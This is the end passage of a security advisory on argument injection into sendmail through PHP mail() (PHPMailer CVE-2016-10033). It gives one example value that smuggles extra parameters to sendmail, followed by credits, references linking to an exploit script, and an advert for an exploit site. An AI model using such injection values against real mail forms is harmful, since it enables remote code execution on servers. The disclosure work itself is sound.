Arg no. 5 == [-Param3"@test.com'] | |
which again resulted in arbitrary parameters (arg 4 & 5) passed to | |
/usr/sbin/sendmail. | |
--[ 9 - Credits | |
This security white-paper has been written by: | |
Dawid Golunski (https://legalhackers.com | |
dawid[at]legalhackers.com | |
Please add a link back to this paper if the information proved to | |
be useful to you. | |
--[ 10 - References | |
[0] https://legalhackers.com/ | |
[1] https://www.ietf.org/rfc/rfc2821.txt | |
[2] http://php.net/manual/en/function.mail.php | |
[3] http://www.sendmail.org/~ca/email/man/sendmail.html | |
[4] http://www.postfix.org/mailq.1.html | |
[5] https://linux.die.net/man/8/exim | |
[6] https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html | |
[7] https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py | |
[8] https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html | |
--[ 11 - ExploitBox - A Playground For Hackers | |
Interested in vulns/exploitation? | |
.;lc' | |
.,cdkkOOOko;. | |
.,lxxkkkkOOOO000Ol' | |
.':oxxxxxkkkkOOOO0000KK0x:' | |
.;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. | |
':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. | |
'';ldxxxxxdc,. ,oOXXXNNNXd;,. | |
.ddc;,,:c;. ,c: .cxxc:;:ox: | |
.dxxxxo, ., ,kMMM0:. ., .lxxxxx: | |
.dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: | |
.dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: | |
.dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: | |
.dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: | |
.dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: | |
.dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: | |
.dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: | |
.dxxxxxdl;. ., .. .;cdxxxxxx: | |
.dxxxxxxxxxdc,. 'cdkkxxxxxxxx: | |
.':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. | |
.;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. | |
.':oxxxxxxxxx.ckkkkkkkkxl,. | |
.,cdxxxxx.ckkkkkxc. | |
.':odx.ckxl,. | |
.,.'. | |
https://ExploitBox.io | |
https://twitter.com/Exploit_Box | |
Subscribe to stay updated and be there for the launch. | |
--[ 12 - Disclaimer | |
The information contained within this advisory is supplied "as-is" with | |
no warranties or guarantees of fitness of use or otherwise. I accept no | |
responsibility for any damage caused by the use or misuse of this | |
information. | |
--[ EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment